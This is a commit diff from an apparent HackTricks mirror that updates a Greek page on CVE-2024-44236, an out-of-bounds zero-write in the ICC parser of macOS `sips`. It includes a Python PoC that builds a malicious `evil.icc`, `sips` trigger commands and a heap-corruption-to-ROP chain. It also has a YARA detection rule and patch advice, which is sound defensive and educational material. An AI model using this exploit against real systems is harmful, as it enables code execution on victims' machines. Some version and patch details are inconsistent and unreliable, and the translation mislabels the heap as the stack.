mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips
This commit is contained in:
parent
99d87e30a1
commit
78e8fe6823
@ -4,50 +4,94 @@
|
|||||||
|
|
||||||
## Επισκόπηση
|
## Επισκόπηση
|
||||||
|
|
||||||
Μια ευπάθεια εγγραφής εκτός ορίων στο Apple macOS Scriptable Image Processing System (`sips`) ICC profile parser (macOS 15.0.1, sips-307) λόγω ακατάλληλης επικύρωσης του πεδίου `offsetToCLUT` στα tags `lutAToBType` (`mAB `) και `lutBToAType` (`mBA `). Ένα κατασκευασμένο αρχείο ICC μπορεί να προκαλέσει μηδενικές εγγραφές έως 16 byte πέρα από το buffer της heap, διαφθείροντας τα μεταδεδομένα της heap ή τους δείκτες συναρτήσεων και επιτρέποντας την εκτέλεση αυθαίρετου κώδικα (CVE-2024-44236).
|
Μια ευπάθεια **zero-write** εκτός ορίων στον αναλυτή προφίλ ICC του **Scriptable Image Processing System** (`sips`) της Apple macOS (macOS 15.0.1, `sips-307`) επιτρέπει σε έναν επιτιθέμενο να διαφθείρει τα μεταδεδομένα της στοίβας και να μετατρέψει την πρωτογενή εκτέλεση σε πλήρη εκτέλεση κώδικα. Το σφάλμα βρίσκεται στη διαχείριση του πεδίου `offsetToCLUT` των ετικετών `lutAToBType` (`mAB `) και `lutBToAType` (`mBA `). Εάν οι επιτιθέμενοι ορίσουν `offsetToCLUT == tagDataSize`, ο αναλυτής διαγράφει **16 bytes πέρα από το τέλος του buffer της στοίβας**. Η ψεκασμός της στοίβας επιτρέπει στον επιτιθέμενο να μηδενίσει τις δομές του αλγορίθμου κατανομής ή τους δείκτες C++ που θα αναφερθούν αργότερα, παράγοντας μια αλυσίδα **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8).
|
||||||
|
|
||||||
|
> Η Apple διόρθωσε το σφάλμα στο macOS Sonoma 15.2 / Ventura 14.7.1 (30 Οκτωβρίου 2024). Μια δεύτερη παραλλαγή (CVE-2025-24185) διορθώθηκε στο macOS 15.5 και iOS/iPadOS 18.5 στις 1 Απριλίου 2025.
|
||||||
|
|
||||||
## Ευάλωτος Κώδικας
|
## Ευάλωτος Κώδικας
|
||||||
|
|
||||||
Η ευάλωτη συνάρτηση διαβάζει και μηδενίζει 16 byte ξεκινώντας από μια θέση που ελέγχεται από τον επιτιθέμενο χωρίς να διασφαλίζει ότι βρίσκεται εντός του εκχωρημένου buffer:
|
|
||||||
```c
|
```c
|
||||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
if (offsetToCLUT <= tagDataSize) {
|
||||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
|
||||||
buffer[i] = 0;
|
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
|
||||||
|
buffer[i] = 0; // no bounds check vs allocated size!
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Μόνο ένας έλεγχος `offsetToCLUT <= totalDataLength` εκτελείται. Ορίζοντας `offsetToCLUT == tagDataSize`, ο βρόχος δείχνει μέχρι 16 byte πέρα από το τέλος του `buffer`, διαφθείροντας τα γειτονικά μεταδεδομένα της στοίβας.
|
## Exploitation Steps
|
||||||
|
|
||||||
## Βήματα Εκμετάλλευσης
|
1. **Δημιουργία ενός κακόβουλου `.icc` προφίλ**
|
||||||
|
|
||||||
1. **Δημιουργία κακόβουλου προφίλ `.icc`:**
|
* Ρυθμίστε μια ελάχιστη κεφαλίδα ICC (`acsp`) και προσθέστε μία ετικέτα `mAB ` (ή `mBA `).
|
||||||
- Δημιουργήστε την κεφαλίδα ICC (128 byte) με υπογραφή `acsp` και μία μόνο είσοδο `lutAToBType` ή `lutBToAType`.
|
* Διαμορφώστε τον πίνακα ετικετών έτσι ώστε το **`offsetToCLUT` να ισούται με το μέγεθος της ετικέτας** (`tagDataSize`).
|
||||||
- Στον πίνακα ετικετών, ορίστε το `offsetToCLUT` ίσο με το `size` της ετικέτας (`tagDataSize`).
|
* Τοποθετήστε δεδομένα που ελέγχονται από τον επιτιθέμενο αμέσως μετά την ετικέτα έτσι ώστε οι 16 μηδενικές εγγραφές να επικαλύπτουν τα μεταδεδομένα του αλγορίθμου κατανομής.
|
||||||
- Τοποθετήστε δεδομένα που ελέγχονται από τον επιτιθέμενο αμέσως μετά το μπλοκ δεδομένων της ετικέτας για να αντικαταστήσετε τα μεταδεδομένα της στοίβας.
|
|
||||||
2. **Ενεργοποίηση ανάλυσης:**
|
2. **Ενεργοποίηση ανάλυσης με οποιαδήποτε λειτουργία sips που αγγίζει το προφίλ**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sips --verifyColor malicious.icc
|
# verification path (no output file needed)
|
||||||
|
sips --verifyColor evil.icc
|
||||||
|
# or implicitly when converting images that embed the profile
|
||||||
|
sips -s format png payload.jpg --out out.png
|
||||||
```
|
```
|
||||||
|
|
||||||
3. **Διαφθορά μεταδεδομένων στοίβας:** Οι OOB μηδενικές εγγραφές αντικαθιστούν τα μεταδεδομένα του αλγορίθμου ή τους γειτονικούς δείκτες, επιτρέποντας στον επιτιθέμενο να αναλάβει τον έλεγχο ροής και να επιτύχει εκτέλεση αυθαίρετου κώδικα στο πλαίσιο της διαδικασίας `sips`.
|
3. **Διαφθορά μεταδεδομένων σωρού ➜ αυθαίρετη εγγραφή ➜ ROP**
|
||||||
|
Στον προεπιλεγμένο **`nano_zone` αλγόριθμο κατανομής** της Apple, τα μεταδεδομένα για τις θέσεις 16 byte βρίσκονται **άμεσα μετά** από το ευθυγραμμισμένο slab 0x1000. Τοποθετώντας την ετικέτα του προφίλ στο τέλος ενός τέτοιου slab, οι 16 μηδενικές εγγραφές καταστρέφουν το `meta->slot_B`. Μετά από μια επόμενη `free`, ο μολυσμένος δείκτης εντάσσεται στη μικρή λίστα ελεύθερων, επιτρέποντας στον επιτιθέμενο **να κατανομήσει ένα ψεύτικο αντικείμενο σε μια αυθαίρετη διεύθυνση** και να αντικαταστήσει έναν δείκτη vtable C++ που χρησιμοποιείται από το sips, τελικά μεταφέροντας την εκτέλεση σε μια αλυσίδα ROP που αποθηκεύεται στο κακόβουλο buffer ICC.
|
||||||
|
|
||||||
## Επιπτώσεις
|
### Quick PoC generator (Python 3)
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
import struct, sys
|
||||||
|
|
||||||
Η επιτυχής εκμετάλλευση έχει ως αποτέλεσμα την απομακρυσμένη εκτέλεση αυθαίρετου κώδικα με δικαιώματα χρήστη σε συστήματα macOS που εκτελούν το ευάλωτο εργαλείο `sips`.
|
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
|
||||||
|
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
|
||||||
|
profile = HDR
|
||||||
|
profile += struct.pack('>I', len(TAGS)) # tag count
|
||||||
|
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
|
||||||
|
|
||||||
## Ανίχνευση
|
mab = bytearray(52) # tag payload (52 bytes)
|
||||||
|
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
|
||||||
|
profile += mab
|
||||||
|
|
||||||
- Παρακολουθήστε τις μεταφορές αρχείων σε κοινά πρωτόκολλα (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
open('evil.icc', 'wb').write(profile)
|
||||||
- Εξετάστε τα μεταφερόμενα αρχεία με υπογραφή `acsp`.
|
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
|
||||||
- Για κάθε ετικέτα `mAB ` ή `mBA `, επαληθεύστε αν το πεδίο `Offset to CLUT` είναι ίσο με το `Tag data size`.
|
```
|
||||||
- Σημειώστε ως ύποπτο αν πληρούται αυτή η προϋπόθεση.
|
### Κανόνας ανίχνευσης YARA
|
||||||
|
```yara
|
||||||
|
rule ICC_mAB_offsetToCLUT_anomaly
|
||||||
|
{
|
||||||
|
meta:
|
||||||
|
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
|
||||||
|
author = "HackTricks"
|
||||||
|
strings:
|
||||||
|
$magic = { 61 63 73 70 } // 'acsp'
|
||||||
|
$mab = { 6D 41 42 20 } // 'mAB '
|
||||||
|
$mba = { 6D 42 41 20 } // 'mBA '
|
||||||
|
condition:
|
||||||
|
$magic at 0 and
|
||||||
|
for any i in (0 .. 10): // up to 10 tags
|
||||||
|
(
|
||||||
|
($mab at 132 + 12*i or $mba at 132 + 12*i) and
|
||||||
|
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||||
|
)
|
||||||
|
}
|
||||||
|
```
|
||||||
|
## Impact
|
||||||
|
|
||||||
## Αναφορές
|
Το άνοιγμα ή η επεξεργασία ενός κατασκευασμένου ICC profile οδηγεί σε απομακρυσμένη **εκτέλεση αυθαίρετου κώδικα** στο πλαίσιο του καλούντος χρήστη (Preview, QuickLook, Safari image rendering, Mail attachments, κ.λπ.), παρακάμπτοντας τον Gatekeeper επειδή το προφίλ μπορεί να ενσωματωθεί μέσα σε αλλιώς αβλαβή εικόνες (PNG/JPEG/TIFF).
|
||||||
|
|
||||||
- ZDI blog: CVE-2024-44236: Ευπάθεια Εκτέλεσης Κώδικα από Απόσταση στο Εργαλείο sips της Apple macOS
|
## Detection & Mitigation
|
||||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
|
||||||
- Ενημέρωση Ασφαλείας Apple Οκτώβριος 2024 (patch που αποστέλλει CVE-2024-44236)
|
* **Patch!** Βεβαιωθείτε ότι ο υπολογιστής εκτελεί macOS ≥ 15.2 / 14.7.1 (ή iOS/iPadOS ≥ 18.1).
|
||||||
https://support.apple.com/en-us/121564
|
* Αναπτύξτε τον κανόνα YARA παραπάνω σε πύλες email και λύσεις EDR.
|
||||||
|
* Αφαιρέστε ή καθαρίστε τα ενσωματωμένα ICC profiles με `exiftool -icc_profile= -overwrite_original <file>` πριν από περαιτέρω επεξεργασία σε μη αξιόπιστα αρχεία.
|
||||||
|
* Ενισχύστε το Preview/QuickLook εκτελώντας τα μέσα σε sandboxed “transparency & modernisation” VMs κατά την ανάλυση άγνωστου περιεχομένου.
|
||||||
|
* Για DFIR, αναζητήστε πρόσφατη εκτέλεση του `sips --verifyColor` ή φορτώσεις βιβλιοθηκών `ColorSync` από sandboxed εφαρμογές στο ενιαίο log.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
|
||||||
|
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
|
||||||
|
* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2”
|
||||||
|
https://support.apple.com/en-us/HT213981
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user